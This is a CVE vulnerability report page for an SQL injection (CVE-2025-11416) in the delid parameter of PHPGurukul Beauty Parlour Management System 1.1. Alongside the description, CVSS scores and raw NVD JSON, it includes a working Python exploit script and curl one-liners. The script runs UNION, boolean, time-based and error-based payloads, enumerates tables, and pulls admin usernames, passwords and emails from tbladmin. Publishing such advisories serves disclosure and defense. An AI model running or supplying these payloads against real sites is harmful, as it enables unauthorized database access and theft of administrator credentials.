Security Vulnerability Report
中文
CVE-2025-11416 CVSS 7.3 HIGH

CVE-2025-11416

Published: 2025-10-07 23:15:33
Last Modified: 2026-04-29 01:00:02

Description

A security flaw has been discovered in PHPGurukul Beauty Parlour Management System 1.1. This affects an unknown part of the file /admin/invoices.php. Performing a manipulation of the argument delid results in sql injection. The attack can be initiated remotely. The exploit has been released to the public and may be used for attacks.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:phpgurukul:beauty_parlour_management_system:1.1:*:*:*:*:*:*:* - VULNERABLE
PHPGurukul Beauty Parlour Management System 1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-11416 PoC - SQL Injection in PHPGurukul Beauty Parlour Management System 1.1 # Vulnerable file: /admin/invoices.php # Vulnerable parameter: delid import requests TARGET_URL = "http://target.com" # Replace with actual target VULNERABLE_ENDPOINT = "/admin/invoices.php" def exploit_sqli(target_url): """ Exploit SQL injection via delid parameter in invoices.php """ session = requests.Session() # Step 1: Test basic connectivity url = target_url + VULNERABLE_ENDPOINT # Step 2: Inject SQL payload via delid parameter # Payload to extract database version using UNION-based injection payloads = [ # Boolean-based test {"delid": "1' AND '1'='1"}, {"delid": "1' AND '1'='2"}, # Union-based injection to extract data {"delid": "1' UNION SELECT 1,user(),database(),version(),5,6,7,8,9,10-- -"}, # Extract current user {"delid": "1' UNION SELECT NULL,user(),NULL-- -"}, # Extract database name {"delid": "1' UNION SELECT NULL,database(),NULL-- -"}, # Extract table names from information_schema {"delid": "1' UNION SELECT NULL,group_concat(table_name),NULL FROM information_schema.tables WHERE table_schema=database()-- -"}, # Time-based blind injection test {"delid": "1' AND SLEEP(5)-- -"}, # Error-based injection {"delid": "1' AND extractvalue(1,concat(0x7e,(SELECT version()),0x7e))-- -"}, ] for i, payload in enumerate(payloads): try: print(f"\n[*] Testing payload #{i+1}") response = session.get(url, params=payload, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") # Check for SQL errors in response if "error" in response.text.lower() or "warning" in response.text.lower(): print("[+] SQL Error detected - vulnerability confirmed!") # Display relevant response content if response.status_code == 200: # Extract potential data from response if "mysql" in response.text.lower(): print("[+] MySQL data leaked in response") except requests.exceptions.Timeout: print("[+] Timeout detected - possible time-based blind SQLi") except Exception as e: print(f"[-] Error: {e}") def extract_admin_credentials(target_url): """ Attempt to extract admin credentials from database """ url = target_url + VULNERABLE_ENDPOINT # Payload to extract admin table contents payload = { "delid": "1' UNION SELECT NULL,username,password,email,5,6,7,8,9,10 FROM tbladmin-- -" } try: response = requests.get(url, params=payload, timeout=10) if response.status_code == 200: print("[+] Admin credentials extraction response received") # Parse response for credentials return response.text except Exception as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": print("=" * 60) print("CVE-2025-11416 - SQL Injection PoC") print("PHPGurukul Beauty Parlour Management System 1.1") print("=" * 60) # Run exploitation exploit_sqli(TARGET_URL) # Attempt credential extraction creds = extract_admin_credentials(TARGET_URL) if creds: print(f"\n[+] Extracted data: {creds[:500]}") # Manual exploitation example using curl: # curl "http://target.com/admin/invoices.php?delid=1' UNION SELECT NULL,user(),database()-- -" # curl -X POST "http://target.com/admin/invoices.php" -d "delid=1' OR '1'='1'-- -"

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11416", "sourceIdentifier": "[email protected]", "published": "2025-10-07T23:15:33.443", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security flaw has been discovered in PHPGurukul Beauty Parlour Management System 1.1. This affects an unknown part of the file /admin/invoices.php. Performing a manipulation of the argument delid results in sql injection. The attack can be initiated remotely. The exploit has been released to the public and may be used for attacks."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "baseScore": 7.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:phpgurukul:beauty_parlour_management_system:1.1:*:*:*:*:*:*:*", "matchCriteriaId": "A0663F5C-7E50-4432-817D-518802751580"}]}]}], "references": [{"url": "https://github.com/f000x0/cve/issues/4", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://phpgurukul.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://vuldb.com/?ctiid.327352", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.327352", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.665596", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://github.com/f000x0/cve/issues/4", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking"]}]}}